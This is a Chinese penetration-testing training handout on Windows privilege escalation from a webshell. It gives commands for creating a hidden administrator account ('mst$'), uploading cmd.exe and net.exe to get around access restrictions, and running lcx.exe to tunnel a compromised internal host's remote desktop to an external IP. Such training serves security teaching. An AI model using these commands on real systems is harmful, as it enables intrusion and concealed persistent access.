专栏首页信数据得永生米斯特白帽培训讲义 漏洞篇 提权

米斯特白帽培训讲义 漏洞篇 提权

米斯特白帽培训讲义 漏洞篇 提权

讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0

提权,顾名思义就是提高自己在服务器中的权限,就比如在 Windows 中你本身登录的用户是 guest,通过提权后就变成超级管理员,拥有了管理 Windows 的所有权限。提权是黑客的专业名词,一般用于网站入侵和系统入侵。本讲义所讲的是基于 WebShell 的菜刀管理下提权。

基本 Dos 命令、常识

  • whoami:查看当前用户名,用于查看权限大小。
  • ipconfig:显示当前 TCP/IP 配置,用于查看 IP。
  • net user:查看当前系统的所有用户。
  • net user <用户名> <用户密码> /add:创建用户。
  • net localgroup administrators <用户名> /add:将用户加入administrators用户组。
  • 远程连接默认端口:3389。

下面拿菜刀中的 Shell 演示一遍这几个命令。

首先是whoami,可以看到administrator,应该是管理员。

然后是ipconfig,我们可以看到192.168.175.129,这是内网的 IP。

然后是net user

知道这些用户之后,我们需要创建自己的用户mst。创建后再执行net user,可以看到创建成功:

接下来我们创建一个名为mst$的用户:

可以看到它并没有显示在用户列表中,之后我们再执行net user mst$

它又是确实存在的,这就是隐藏用户的一个小技巧。

之后我们把mst$添加到管理员组中,并且查看它的信息,我们发现它成功刚添加到了管理员组中。

需要远程连接的时候,输入刚刚创建的用户名和密码就可以了。

突破限制

假如说我们在实际情况中看到了[Err]拒绝访问

那我们可以找到自己电脑上的cmd.exe,然后上传上去。比如上传路径如下:

我们就可以执行setp <路径>\cmd.exe

我们再来看各种命令:

net user还是拒绝访问的,我们用老方法,找到自己电脑中的net.exe,然后传上去。之后执行<路径>\net.exe user

可以看到突破了限制。

端口转发

在提权过程中,我们经常碰到这样的情况:

我们可以看到 WebShell 的主机处于内网下,内网的意思就是说,它能连接别人,但别人不能连接它,就跟连接路由器的个人电脑差不多。

那么这种情况下,我们就需要用到端口转发工具lcx.exe,除此之外,还需要一台拥有外网 IP 的主机。这里我们把内网的主机叫做肉鸡,独立 IP 主机叫做本机。

lcx.exe上传至本机和肉鸡之后,首先确定本机的 IP 为119.90.140.191

然后我们在本机执行:

lcx.exe -listen 51 3388

这条命令的意思就是说,监听本机的 51 和 3388 端口,并将两个端口互相转发,端口 51 的入境流量发给端口 3388,反之亦然。其中 51 是用于肉鸡连接的端口。3388 是用于我们的远程连接客户端连接的端口,为了避免与本机的远程连接服务冲突,选择了 3388。大家可以自行选择其他未占用端口。

然后我们在肉鸡上执行:

lcx.exe -slave 119.90.140.191 51 127.0.0.1 3389

这条命令连接肉鸡的 3389 端口,和本机的 51 端口,并互相转发。

之后,我们在本机或其他主机上使用远程连接客户端,连接119.90.140.191:3388,可以看到lcx中显示了转发的信息。

远程连接客户端的封包会发给主机的lcx,之后会发给肉鸡的lcx,之后会发给肉鸡的远程连接服务。响应封包会按原路返回。

等待一会儿之后,我们成功连接了肉鸡的远程桌面:

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 米斯特白帽培训讲义(v2)漏洞篇 提权

    提权,顾名思义就是提高自己在服务器中的权限,就比如在 Windows 中你本身登录的用户是 guest,通过提权后就变成超级管理员,拥有了管理 Windows ...

    ApacheCN_飞龙
  • 关于ics lab8 performance中的smooth

    其实smooth比rotate水很多。 首先看一下avg的定义,发现是二层循环,最大遍历3*3最小遍历2*2的元素,用...

    ApacheCN_飞龙
  • [2013.9.10]vb.net坑爹的数组

    VB.net: dim arr() as integer 或dim arr as integer()

    ApacheCN_飞龙
  • mysqldump: Got error: 2003: Can't connect to MySQL server on '127.0.0.1' (10060)

    今天在用批处理进行MySQL自动备份的过程中遇到一个问题,错误提示:mysqldump: Got error: 2003: Can't connect to m...

    似水的流年
  • mysqldump: Got error: 2003: Can't connect to MySQL server on '127.0.0.1' (10060)

    今天在用批处理进行MySQL自动备份的过程中遇到一个问题,错误提示:mysqldump: Got error: 2003: Can't connect to m...

    似水的流年
  • 在 Spring Boot 中,如何干掉 if else!

    这里虚拟一个业务需求,让大家容易理解。假设有一个订单系统,里面的一个功能是根据订单的不同类型作出不同的处理。

    芋道源码
  • Spring Boot中如何干掉if else

    这里虚拟一个业务需求,让大家容易理解。假设有一个订单系统,里面的一个功能是根据订单的不同类型作出不同的处理。

    一个优秀的废人
  • 在 Spring Boot 中,如何干掉 if else!

    这里虚拟一个业务需求,让大家容易理解。假设有一个订单系统,里面的一个功能是根据订单的不同类型作出不同的处理。

    良月柒
  • Spring Boot中如何干掉if else

    这里虚拟一个业务需求,让大家容易理解。假设有一个订单系统,里面的一个功能是根据订单的不同类型作出不同的处理。

    java架构师
  • Spring Boot中如何干掉过多的if else!

    这里虚拟一个业务需求,让大家容易理解。假设有一个订单系统,里面的一个功能是根据订单的不同类型作出不同的处理。

    lyb-geek

扫码关注云+社区

领取腾讯云代金券